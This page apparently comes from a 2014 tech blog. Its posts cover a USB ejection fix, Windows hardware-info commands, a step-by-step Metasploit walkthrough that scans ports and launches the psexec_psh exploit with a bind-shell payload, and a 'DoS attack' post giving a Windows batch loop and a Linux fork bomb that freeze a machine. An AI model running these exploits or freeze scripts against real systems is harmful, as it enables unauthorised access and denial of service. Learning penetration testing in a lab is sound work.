Wednesday 31 December 2014

Windows can't stop your 'Generic volume' device because a program is still using it

Windows can't stop your 'Generic volume' device because a program is still using it. Close any programs that might be using the device, and then try again later

Solution:
1. Right click on my computer, select manage

2. Click on disk management tab

3. Left tab (which has probably "disk 1" labelled )on external storage drive right click and select "offline"

4. Now from task bar, from usb icon, click and select your device and remove it, Now it says "safely remove"

NOTE: when you plugin that external storage again, you must have to put it online by following above steps.

Thursday 25 December 2014

PENETRATION TESTING WITH METASPLOIT FRAMEWORK 4 IN KALI

I am performing it in Kali Linux, assuming that you have gone through the installation steps of Kali Linux.

start the metasploit framework using following command in terminal
  • msfconsole
Note: It will take 2-3 minutes to start as it will initiate pqsql and metasploit service.

or use below commands.
  • service postgresql start
  • service metasploit start
  • msfconsole


Perform Port Scan of target
Metasploit offers an awesome port scanning function which goes by the name auxiliary scanner. Here is the command to execute this scan
  • use auxiliary/scanner/portscan/tcp

Type show options to see the available options
  • show options
Now we have to change a few settings, firstly, we should reduce the number of ports scanned
  • set ports 1-500


Secondly, we have to specify a target IP to scan. Now assuming that you already know the IP of your target. use following command to set the target.
  • set RHOST 192.168.63.131

Now we are ready for some action, do a show options again to see what all changes you've made. Finally run following command.
  • run
The scan will start and after some time it will show you which tcp ports are open and vulnerable to attack.


Finding Exploits

To find which exploits work on the OS of our target. Search for dcom on msfconsole.
  • search dcom

Copy the exploit as below.
  • use exploit/windows/smb/psexec_psh

Type show options again
  • show options

Again, set the RHOST as IP of your target
  • set RHOST 192.168.218.130

Also, set a payload.
  • set PAYLOAD windows/shell_bind_tcp

Finally start exploit
  • exploit
you can try different exploit and PAYLOAD to get the command prompt access of your target.

WINDOWS COMMANDS TO EXTRACT HARDWARE INFO

How to extract the hardware information in Windows using commands.

Following commands will list detailed information of RAM

  • wmic MemoryChip get BankLabel, Capacity, MemoryType, TypeDetail, Speed
  • wmic memorychip list full


Following commands will list the total RAM

  • wmic OS get FreePhysicalMemory /Value
  • systeminfo | findstr /C:"Total Physical Memory"


Following command will list all the details of Motherboard

  • wmic baseboard get product,Manufacturer,version,serialnumber

Following command will graphically list all the details of system
  • dxdiag

DoS ATTACK TO WINDOWS & LINUX

A Live DOS on your Windows/Linux Machine

We are going to execute a script/command in the Windows machine/Linux terminal that will cripple the operating system and make it freeze.

Following is a code to freeze the Windows machine. Put it in a .bat file and execute it.
:1
Start
goto 1



Following is a code to freeze the Linux machine.
:(){ :|:& };: